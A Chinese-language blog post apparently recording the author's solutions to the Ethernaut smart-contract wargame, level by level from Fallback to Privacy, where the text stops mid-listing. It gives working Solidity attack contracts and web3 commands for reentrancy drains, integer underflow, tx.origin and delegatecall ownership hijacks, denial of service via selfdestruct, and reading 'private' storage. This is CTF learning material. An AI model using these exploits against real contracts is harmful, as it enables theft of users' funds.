<html>
  <head>
    <meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>ethernaut刷题记录 | kotori的菜园</title>
<link rel="shortcut icon" href="https://kotoriseed.github.io//favicon.ico?v=1718591155332">
<link href="https://cdn.jsdelivr.net/npm/remixicon@2.3.0/fonts/remixicon.css" rel="stylesheet">
<link rel="stylesheet" href="https://kotoriseed.github.io//styles/main.css">
<link rel="alternate" type="application/atom+xml" title="ethernaut刷题记录 | kotori的菜园 - Atom Feed" href="https://kotoriseed.github.io//atom.xml">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Droid+Serif:400,700">


<script async src="https://www.googletagmanager.com/gtag/js?id=G-PJDEM99E9P"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-PJDEM99E9P');
</script>


    <meta name="description" content="
笔者想学习web3已经很久了，奈何一直没有静下心来学习。最近有了一定时间窗口可以学习，所以找到了这个靶场入门（怎么有人4202年了才开始学blockchain啊），在做题之前需要先掌握blockchain的一部分基础知识以及solidit..." />
    <meta name="keywords" content="blockchain,web3" />
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.10.0/katex.min.css">
    <script src="//cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.5.1/build/highlight.min.js"></script>
  </head>
  <body>
    <div class="main">
      <div class="main-content">
        <div class="site-header">
  <a href="https://kotoriseed.github.io/">
  <img class="avatar" src="https://kotoriseed.github.io//images/avatar.png?v=1718591155332" alt="">
  </a>
  <h1 class="site-title">
    kotori的菜园
  </h1>
  <p class="site-description">
    挑战者贵为永恒黄金
  </p>
  <div class="menu-container">
    
      
        <a href="/" class="menu">
          首页
        </a>
      
    
      
        <a href="/archives" class="menu">
          归档
        </a>
      
    
      
        <a href="/tags" class="menu">
          标签
        </a>
      
    
      
        <a href="/post/friends" class="menu">
          友链
        </a>
      
    
      
        <a href="/post/about" class="menu">
          关于
        </a>
      
    
  </div>
  <div class="social-container">
    
      
    
      
    
      
    
      
    
      
    
  </div>
</div>

        <div class="post-detail">
          <article class="post">
            <h2 class="post-title">
              ethernaut刷题记录
            </h2>
            <div class="post-info">
              <span>
                2024-01-14
              </span>
              <span>
                25 min read
              </span>
              
                <a href="https://kotoriseed.github.io/tag/-ap0kNXe7/" class="post-tag">
                  # blockchain
                </a>
              
                <a href="https://kotoriseed.github.io/tag/HYK0ktKQla/" class="post-tag">
                  # web3
                </a>
              
            </div>
            
            <div class="post-content-wrapper">
              <div class="post-content" v-pre>
                <blockquote>
<p>笔者想学习web3已经很久了，奈何一直没有静下心来学习。最近有了一定时间窗口可以学习，所以找到了这个靶场入门（怎么有人4202年了才开始学blockchain啊），在做题之前需要先掌握blockchain的一部分基础知识以及solidity语言和evm，这部分最好先自行了解一下。笔者也是初学者，有说的不对的地方恳请斧正</p>
</blockquote>
<h1 id="hello-ethernaut">Hello Ethernaut</h1>
<p>简单的介绍了通过web终端的js web3接口与合约交互的方法，熟悉一遍即可。</p>
<h1 id="fallback">Fallback</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address =&gt; uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            &quot;caller is not the owner&quot;
        );
        _;
    }

  function contribute() public payable {
    require(msg.value &lt; 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] &gt; contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value &gt; 0 &amp;&amp; contributions[msg.sender] &gt; 0);
    owner = msg.sender;
  }
}
</code></pre>
<p>关卡目标是成为合约的owner，以及清空合约的balance。</p>
<p>可以看到构造函数中赋予了初始的owner（也就是合约的部署者），并将他的contribution设置为了1000eth</p>
<p><code>contribute</code>函数允许交互者通过捐钱的方式增加contribution值，如果contribution超过了owner的1000eth就可以成为新的owner，不过函数开头有一个蛋疼的判断 <code>require(msg.value &lt; 0.001 ether)</code>，正儿八经的捐钱的话，不管是gas fee还是钱包余额还是花费的时间都不太看得下去，因此这个方法并不可行。</p>
<p><code>getContribution</code>是返回交互者contribution的getter方法，与解题关系不大。</p>
<p><code>withdraw</code>将合约的所有<code>balance</code>都转给了owner，也就是将其清空，不过只有owner能调用。</p>
<p>最后的<code>receive</code>比较有意思，在solidity语言中，每个合约可以有至多一个<code>receive</code>函数和一个<code>fallback</code>函数。他们都用来处理交互时其他函数未命中的情况，不过receive不会处理msg.data，且触发优先级在fallback之后（如果fallback具有payable属性的话）。更多细节可以参考<a href="https://docs.soliditylang.org/en/v0.8.23/contracts.html#receive-ether-function">官方文档</a>。</p>
<p>在该合约的<code>receive</code>中，有一个简单的check：</p>
<p><code>require(msg.value &gt; 0 &amp;&amp; contributions[msg.sender] &gt; 0)</code></p>
<p>只要msg.value和自己的contribution大于0，即可成为合约新的owner，而这些条件都很好满足。</p>
<ol>
<li>首先调用contribute，提升自己的contribution：<code>contract.contribute({value:1})</code></li>
<li>直接发起交易，触发receive：<code>contract.sendTransaction({value:1})</code></li>
<li>此时已经是owner了，调用后门清空balance：<code>contract.withdraw()</code></li>
</ol>
<h1 id="fal1out">Fal1out</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address =&gt; uint) allocations;
  address payable public owner;


  // constructor
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            &quot;caller is not the owner&quot;
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] &gt; 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
</code></pre>
<p>通关条件是成为owner，仔细分析合约，发现调用<code>fal1out</code>即可成为owner，虽然在该函数上方有一行注释表名它是构造函数，但看完了solidity的文档都没有找到类似的语法<del>，所以虽然不解，但他肯定是在骗人</del></p>
<p>所以直接调用fal1out即可。</p>
<pre><code class="language-javascript">contract.Fal1out({value: 1})
</code></pre>
<h1 id="coin-flip">Coin Flip</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
</code></pre>
<p>这关的通关条件是<code>consecutiveWins</code>达到10，也就是每次调用<code>flip</code>来猜测一个bool值（猜硬币的正反面）。</p>
<p>不过需要连续猜对10次才行，中间断掉都会被清空，因此不可能暴力去猜测（矿工：多来点多来点）</p>
<p>想要准确的预测结果，就需要我们再次分析一下这个flip函数的实现。</p>
<p>参考solidity文档中的描述，</p>
<pre><code class="language-javascript">blockhash(uint blockNumber) returns (bytes32): hash of the given block when blocknumber is one of the 256 most recent blocks; otherwise returns zero

block.number (uint): current block number
</code></pre>
<p><code>blockhash</code>可以返回最近256个block的hash值，其他情况就会返回0</p>
<p>这里<code>blockValue</code>是调用的blockhash获取<strong>上一个</strong>block的hash值，然后查看他是否大于等于<code>0x8000000000000000000000000000000000000000000000000000000000000000</code>来决定抛硬币的结果。</p>
<p>这里很容易就能想到解决办法，因为每一次都获取的是上一个block的hash，所以其实每次都已经可以算出来了。</p>
<p>本来想直接在chrome的console里调js的web3接口直接解决，但是没找到调用blockhash()这种函数的abi，所以只能在remix ide里面部署中间合约来交互了。</p>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract exp {
    CoinFlip public interactContract;

    constructor(address _addr) {
        interactContract = CoinFlip(_addr);
    }

    function guess() public {
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        interactContract.flip(side);
    }
}
</code></pre>
<p>（第一次用remix ide部署合约，半天没发现要连上自己钱包，一直在用fork出来的网交互，我说怎么一直查不到区块number，另：交互10次真的好难等）</p>
<h1 id="telephone">Telephone</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
</code></pre>
<p>目标仍然是成为合约的owner，并且很直白的给出了<code>changeOwner</code>函数</p>
<p>参考官方文档对<code>tx.origin</code>的描述：</p>
<pre><code class="language-javascript">tx.origin (address): sender of the transaction (full call chain)
msg.sender (address): sender of the message (current call)
</code></pre>
<p><code>tx.origin</code>是交易最初的发起方，而<code>msg.sender</code>是当前的合约交互方（可以理解为一个是整个交易链的头结点，一个是当前节点）。</p>
<p>这里我们采用布置一个中间协议来交互的方式绕过这个判断。</p>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract exp {
  Telephone public interactContract;
  constructor(address _addr) {
	interactContract = Telephone(_addr);
  }
  
  function forwardToTelephone() public {
    interactContract.changeOwner(msg.sender);
  }
}
</code></pre>
<p>该题揭示了一种真实存在的漏洞类型：<code>fishing-style attack</code>，<a href="https://blog.ethereum.org/2016/06/24/security-alert-smart-contract-wallets-created-in-frontier-are-vulnerable-to-phishing-attacks">参考链接</a></p>
<h1 id="token">Token</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address =&gt; uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value &gt;= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
</code></pre>
<p>题目初始给了我们20个Token，我们的目标是增加手中的Token。</p>
<p>根据某些直觉，我们发现<code>transfer</code>中判断余额是否足够的方法存在一些问题，<code>_value</code>与<code>balances</code>的<code>value</code>都是<code>uint</code>类型的，uint之间做运算结果仍是uint，也就是说恒大于0，因此这个判断其实没有任何作用（草）。</p>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address =&gt; uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value &gt;= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

contract exp {
  Token public interactContract;
  constructor(address _addr) public {
    interactContract = Token(_addr);
  }

  function overflow() public {
    interactContract.transfer(0x7Af5626f15AAa698FF6bb04f48a28fd954961d2E, 0xffffffff);
  }

}
</code></pre>
<h1 id="delegation">Delegation</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
</code></pre>
<p>这道题的目标是成为Delegation的owner。提示是<code>delegatecall</code>与<code>function id</code>。对于前者，我们可以直接在<a href="https://docs.soliditylang.org/en/v0.8.23/contracts.html#libraries">文档</a>中找到明确的定义，简单的说就是允许直接<strong>以当前合约的上下文</strong>来运行其他合约或库中的某个函数，可以粗略地理解为将对应函数直接inline到当前位置；而后者询问ChatGPT后得知：</p>
<pre><code>在 Solidity 中，每个函数都有一个唯一的函数选择器（function selector），也称为函数的 ID。函数选择器是通过函数的签名计算得到的，它用于标识和区分不同的函数。

函数选择器的计算方式是将函数的名称和参数类型进行编码，并对编码后的结果进行哈希。Solidity 中使用 Keccak-256（SHA-3）哈希算法来计算函数选择器。
</code></pre>
<p>一般来说，取sha3结果的前4bytes就行了。</p>
<p>梳理一下源码，<code>Delegation</code>合约中除了构造函数以外的地方都没法直接改变owner了。但是在fallback中，有一个直白的<code>address(delegate).delegatecall(msg.data)</code>，也就是说，我们可以通过控制<code>msg.data</code>来以当前合约的上下文调用任意<code>Delegate</code>合约中的public函数。</p>
<p>而<code>Delegate</code>合约刚好就有一个<code>pwn</code>函数可以劫持owner。</p>
<p>直接在web console交互：</p>
<p><code>contract.sendTransaction({data: web3.utils.sha3(&quot;pwn()&quot;).slice(0, 10)})</code></p>
<p>（一个小插曲：其实笔者最开始是在remix ide中使用<code>Low level interactions</code>直接发送data过去的，这样做并没有问题，可笔者当时没能成功劫持owner。在万分不解中，去<code>etherscan</code>查看了交易详情，发现问题出在交易设置的<code>gas limit</code>上，每次都是因为消耗的gas达到了上限，evm并没有跑完代码。而web console中的web3 api对gas的估算就太大了，gas limit始终在2M左右，所以没有遇到out of gas错误）</p>
<h1 id="force">Force</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}
</code></pre>
<p>关卡目标是让合约的余额大于0，</p>
<p>提示如下：</p>
<pre><code>Fallback methods
Sometimes the best way to attack a contract is with another contract.
</code></pre>
<p>一个合约如果没有receive函数，也没有具有payable属性的fallback函数，那他就没办法接受以太币转账——通常情况下是这样的。然而有一个例外是，当某个合约调用<code>selfdesturct</code>自毁时，可以无视条件向一个账户转去自己剩余的以太币，而这就是解出该题的关键。</p>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

contract exp {
  Force public victim;

  constructor(address _addr) {
    victim = Force(_addr);
  }

  function whiteGive() public {
    selfdestruct(payable(address(victim)));
  }

  receive() external payable { }

}
</code></pre>
<p>（部署好exp合约后记得转一点钱进去再自毁，不然<code>whiteGive</code>就真white give了。）</p>
<p>解出该题过后，会出现一个提示：任何情况下都不要使用<code>address(this).balance == 0</code>这样的判断。</p>
<h1 id="vault">Vault</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
</code></pre>
<p>关卡目标是让locked变为false。</p>
<p>直观的看，想要成功unlock，就需要知道合约执行构造函数时传入的<code>_password</code>，这看上去似乎很难实现。</p>
<p>虽然<code>password</code>是<code>private</code>的，编译器不会像public的变量那样为他生成默认的getter函数供外部访问，但其实我们还是可以借助web3提供的接口来人工查到，只需要知道他所处的地址就行。</p>
<p>那么<code>password</code>在合约内部的位置是怎样的呢，这就需要对编译器生成的evm字节码进行分析了。</p>
<p>用etherscan提供的decompiler进行反编译，这个<code>stor1</code>其实就是<code>password</code>变量，他被存在<code>stirage 1</code>的位置</p>
<pre><code>def storage:
  locked is uint8 at storage 0
  stor1 is uint256 at storage 1
</code></pre>
<p>也可以直接在remix ide的compiler中查看details中的STORAGELAYOUT:</p>
<pre><code class="language-json">{
    &quot;storage&quot;: [
        {
            &quot;astId&quot;: 3,
            &quot;contract&quot;: &quot;koin.sol:Vault&quot;,
            &quot;label&quot;: &quot;locked&quot;,
            &quot;offset&quot;: 0,
            &quot;slot&quot;: &quot;0&quot;,
            &quot;type&quot;: &quot;t_bool&quot;
        },
        {
            &quot;astId&quot;: 5,
            &quot;contract&quot;: &quot;koin.sol:Vault&quot;,
            &quot;label&quot;: &quot;password&quot;,
            &quot;offset&quot;: 0,
            &quot;slot&quot;: &quot;1&quot;,
            &quot;type&quot;: &quot;t_bytes32&quot;
        }
    ],
    &quot;types&quot;: {
        &quot;t_bool&quot;: {
            &quot;encoding&quot;: &quot;inplace&quot;,
            &quot;label&quot;: &quot;bool&quot;,
            &quot;numberOfBytes&quot;: &quot;1&quot;
        },
        &quot;t_bytes32&quot;: {
            &quot;encoding&quot;: &quot;inplace&quot;,
            &quot;label&quot;: &quot;bytes32&quot;,
            &quot;numberOfBytes&quot;: &quot;32&quot;
        }
    }
}
</code></pre>
<p><code>&quot;slot&quot;: &quot;1&quot;</code>代表被放在了第一个槽内。</p>
<p>这部分的原理可以参考<a href="https://docs.soliditylang.org/en/v0.8.23/internals/layout_in_storage.html">官方文档</a>的描述，笔者就不赘述了。</p>
<p>直接在web console调用：</p>
<p><code>web3.eth.getStorageAt(&quot;0x4e162147f83a2f4E818608099fB40235a1da8135&quot;, 1)</code></p>
<p>得到了一个hex串：<code>0x412076657279207374726f6e67207365637265742070617373776f7264203a29</code></p>
<p>（from hex的结果是<code>A very strong secret password :)</code>）</p>
<p>知道密码后这题就结束了，这道题带给我们的启示就是，如果真的想存放某些不想公开的数据，光是设置private属性是没用的，一个建议的做法是先加密后再存入链中，至于加密使用的密钥，永远也别让他上链。</p>
<h1 id="king">King</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value &gt;= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}
</code></pre>
<p>这道题展示了一个类似于庞氏骗局的游戏：合约中定义了<code>king</code>，以及他当上<code>king</code>时所出的<code>prize</code>。当一个人支付了更高的<code>prize</code>时，他将成为新的<code>king</code>，而前一个<code>king</code>也将收到这笔钱从而获得利润。</p>
<p>不过不难看出，<code>receive</code>函数中对<code>king</code>的更新条件还留了一个后门，即当<code>msg.sender == owner</code>时，<code>king</code>会无视金额转让。这意味着想要保持王位，在提交题目时，我们必须是该合约的owner——或者阻止<code>king = msg.sender</code>的执行（笑）。</p>
<p>该合约不具备让我们成为owner的条件，但也不是毫无突破口。在进行king的转让流程时，他是先调用<code>payable(king).transfer(msg.value)</code>向之前的国王进行转账，然后再<code>king = msg.sender</code>转让王位。这样就出现了一个窗口期：我们部署一个中间合约并让其成为<code>king</code>，在提交题目时，对方重新声明王位时就会向我们的中间合约转账，必然会触发我们的<code>receive</code>函数，而这中间我们就可以做一些事情。</p>
<p>联系到前面<code>Force</code>这题，我们知道一个合约可以调用<code>selfdestruct</code>来自毁，那如果我们自毁了，自然就没法正常收到他的transfer，这样一来他的执行就会在更改king之前报错并退出evm执行（如果合约使用的是<code>payable(king).call{value:msg.value}(&quot;&quot;)</code>这样的方式来转账的话，也许就没办法断下来了）。</p>
<p>所以整理一下思路就是：</p>
<ol>
<li>部署一个中间合约，并在其<code>receive</code>中埋入自毁的代码</li>
<li>通过中间合约向题目合约转账使其成为新的国王</li>
<li>向中间合约转账使其触发<code>receive</code>中的自毁</li>
<li>提交题目，题目无法完成转账，从而无法运行到国王转让的机器码</li>
</ol>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value &gt;= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

contract exp {
    King public interfaceKing;
    constructor(address payable _addr) payable {
        interfaceKing = King(_addr);
    }
    function claim() public {
        (bool success,) = payable(address(interfaceKing)).call{value: 0.001 ether}(&quot;&quot;);
        require(success, &quot;claim failed&quot;);
    }
    receive() external payable {
        selfdestruct(payable(address(0x7Af5626f15AAa698FF6bb04f48a28fd954961d2E)));
    }
}
</code></pre>
<h1 id="re-entrancy">Re-entrancy</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address =&gt; uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] &gt;= _amount) {
      (bool result,) = msg.sender.call{value:_amount}(&quot;&quot;);
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
</code></pre>
<p>关卡目标是偷走合约账户内的所有余额。</p>
<p>题目合约实现了一个简单的存取款系统，该合约使用<code>SafeMath</code>库介入<code>uint256</code>的运算（<code>uint</code>一般情况下等价于<code>uint256</code>），也就是说balances不存在整数溢出。</p>
<p>既然题目取名为<code>re-entrancy</code>，必然会联想到blockchain中的一个经典利用——重入攻击。</p>
<p>所谓重入攻击，ChatGPT的描述是：</p>
<pre><code>重入攻击是一种在以太坊智能合约中可能发生的安全威胁，它利用合约中的递归调用机制。攻击者试图在合约的外部调用中反复执行合约函数，从而可能导致未经授权的资金转移或执行不当的操作。

重入攻击的主要原理是，在一个函数调用未完成之前，攻击者通过递归调用将同一个函数再次触发执行。当函数被重新调用时，合约状态可能尚未更新，导致攻击者能够在未受限制的情况下执行某些操作。
</code></pre>
<p>有了这个提示，再来分析<code>withdraw</code>函数取款的逻辑：</p>
<ol>
<li>判断对方账户的balance是否大于等于想要取走的数量<code>_amount</code></li>
<li>使用<code>msg.sender.call{value:_amount}(&quot;&quot;)</code>发起转账</li>
<li>扣掉对应账户的balance</li>
</ol>
<p>这里存在的问题就是，先进行了转账操作，再去维护对应的balances映射，且使用call(&quot;&quot;)转账会命中到对应合约的fallback函数上，如果我们此时再去递归调用它的withdraw函数申请取款，此时未经维护的balance仍然满足取款条件，即可成功转走多的余额。</p>
<p>（题目源码的safemath库在remix ide上访问不到，所以自己去github找了一个）</p>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import &quot;https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol&quot;;

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address =&gt; uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] &gt;= _amount) {
      (bool result,) = msg.sender.call{value:_amount}(&quot;&quot;);
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

contract exp {
    Reentrance public interfaceReentrance;
    constructor(address payable _addr) public payable {
        interfaceReentrance = Reentrance(_addr);
    }

    function pwn() public {
        interfaceReentrance.donate{value: 0.001 ether}(address(this));
        interfaceReentrance.withdraw(0.001 ether);
    }

    receive() external payable {
        interfaceReentrance.withdraw(msg.value);
    }

}
</code></pre>
<h1 id="elevator">Elevator</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
</code></pre>
<p>题目的目标是&quot;通过电梯走到顶层&quot;，即令合约的state变量<code>top</code>为<code>true</code>。</p>
<p><code>goTo</code>函数中判断top的逻辑看似矛盾，但这个接口是我们自己来定义的，所以直接实现一个相邻两次返回不同结果的<code>isLastFloor</code>函数即可成功修改掉<code>top</code>。</p>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

contract exp {
    uint public cnt = 0;
    Elevator public interfaceElevator;

    constructor(address _addr) {
        interfaceElevator = Elevator(_addr);
    }

    function isLastFloor(uint) public returns (bool) {
        cnt++;
        if (cnt % 2 != 0) {
            return false;
        }
        else {
            return true;
        }
    }

    function pwn() public {
        interfaceElevator.goTo(114514);
    }
}
</code></pre>
<h1 id="privacy">Privacy</h1>
<pre><code class="language-javascript">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}
</code></pre>
<p>类似于前面的<code>Vault</code>，这道题的目标也是使<code>locked</code>为<code>true</code>。</p>
<p>编译后查看STORAGELAYOUT</p>
<pre><code class="language-json">{
    &quot;storage&quot;: [
        {
            &quot;astId&quot;: 4,
            &quot;contract&quot;: &quot;koin.sol:Privacy&quot;,
            &quot;label&quot;: &quot;locked&quot;,
            &quot;offset&quot;: 0,
            &quot;slot&quot;: &quot;0&quot;,
            &quot;type&quot;: &quot;t_bool&quot;
        },
        {
            &quot;astId&quot;: 8,
            &quot;contract&quot;: &quot;koin.sol:Privacy&quot;,
            &quot;label&quot;: &quot;ID&quot;,
            &quot;offset&quot;: 0,
            &quot;slot&quot;: &quot;1&quot;,
            &quot;type&quot;: &quot;t_uint256&quot;
        },
        {
            &quot;astId&quot;: 11,
            &quot;contract&quot;: &quot;koin.sol:Privacy&quot;,
            &quot;label&quot;: &quot;flattening&quot;,
            &quot;offset&quot;: 0,
            &quot;slot&quot;: &quot;2&quot;,
            &quot;type&quot;: &quot;t_uint8&quot;
        },
        {
            &quot;astId&quot;: 14,
            &quot;contract&quot;: &quot;koin.sol:Privacy&quot;,
            &quot;label&quot;: &quot;denomination&quot;,
            &quot;offset&quot;: 1,
            &quot;slot&quot;: &quot;2&quot;,
            &quot;type&quot;: &quot;t_uint8&quot;
        },
        {
            &quot;astId&quot;: 21,
            &quot;contract&quot;: &quot;koin.sol:Privacy&quot;,
            &quot;label&quot;: &quot;awkwardness&quot;,
            &quot;offset&quot;: 2,
            &quot;slot&quot;: &quot;2&quot;,
            &quot;type&quot;: &quot;t_uint16&quot;
        },
        {
            &quot;astId&quot;: 25,
            &quot;contract&quot;: &quot;koin.sol:Privacy&quot;,
            &quot;label&quot;: &quot;data&quot;,
            &quot;offset&quot;: 0,
            &quot;slot&quot;: &quot;3&quot;,
            &quot;type&quot;: &quot;t_array(t_bytes32)3_storage&quot;
        }
    ],
    &quot;types&quot;: {
        &quot;t_array(t_bytes32)3_storage&quot;: {
            &quot;base&quot;: &quot;t_bytes32&quot;,
            &quot;encoding&quot;: &quot;inplace&quot;,
            &quot;label&quot;: &quot;bytes32[3]&quot;,
            &quot;numberOfBytes&quot;: &quot;96&quot;
        },
        &quot;t_bool&quot;: {
